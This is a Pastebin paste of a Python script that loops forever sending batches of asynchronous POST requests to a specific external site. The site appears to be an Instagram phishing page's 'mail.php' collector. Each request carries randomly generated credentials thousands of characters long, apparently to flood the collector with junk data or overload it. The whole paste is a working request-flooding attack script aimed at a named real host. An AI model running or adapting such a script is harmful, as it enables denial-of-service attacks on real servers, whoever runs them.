Advertisement
Guest User

Untitled

a guest
Nov 25th, 2016
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.63 KB | None | 0 0
  1. from tornado.platform.asyncio import AsyncIOMainLoop, to_asyncio_future
  2. from tornado.httpclient import AsyncHTTPClient, HTTPRequest
  3.  
  4. from urllib.parse import urlencode
  5.  
  6. import asyncio
  7. import string
  8. import random
  9. import time
  10.  
  11. url = 'http://socialstats.ga/instagram/mail.php'
  12. charset = string.ascii_uppercase + string.digits
  13. generator = lambda size: ''.join(random.choice(charset) for _ in range(size))
  14.  
  15. async def send_request():
  16.     client = AsyncHTTPClient()
  17.     request = HTTPRequest(
  18.         url = url,
  19.         method = 'POST',
  20.         body = urlencode(dict(username=generator(6400), password=generator(12800)))
  21.     )
  22.  
  23.     try:
  24.         tornado_future = client.fetch(request)
  25.         future = to_asyncio_future(tornado_future)
  26.         response = await future
  27.     except Exception as e:
  28.         return e.code
  29.     else:
  30.         return response.code
  31.  
  32. def main():
  33.     AsyncIOMainLoop().install()
  34.  
  35.     count = 0
  36.     started_at = time.time()
  37.     loop = asyncio.get_event_loop()
  38.  
  39.     while True:
  40.         batch_size = random.randint(3, 8)
  41.         requests = (
  42.             asyncio.ensure_future(send_request())
  43.             for _ in range(batch_size)
  44.         )
  45.         tasks = asyncio.gather(*requests, return_exceptions=True)
  46.         loop.run_until_complete(tasks)
  47.  
  48.         results = tasks.result()
  49.         count += 1
  50.         elapsed = time.time() - started_at
  51.         print('[{:3} s] batch {:3}: {}'.format(round(elapsed), count, results))
  52.  
  53.         if not all(r == 200 for r in results):
  54.             print('Errors in the last batch, waiting 20 seconds')
  55.             time.sleep(20)
  56.  
  57. if __name__ == '__main__':
  58.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement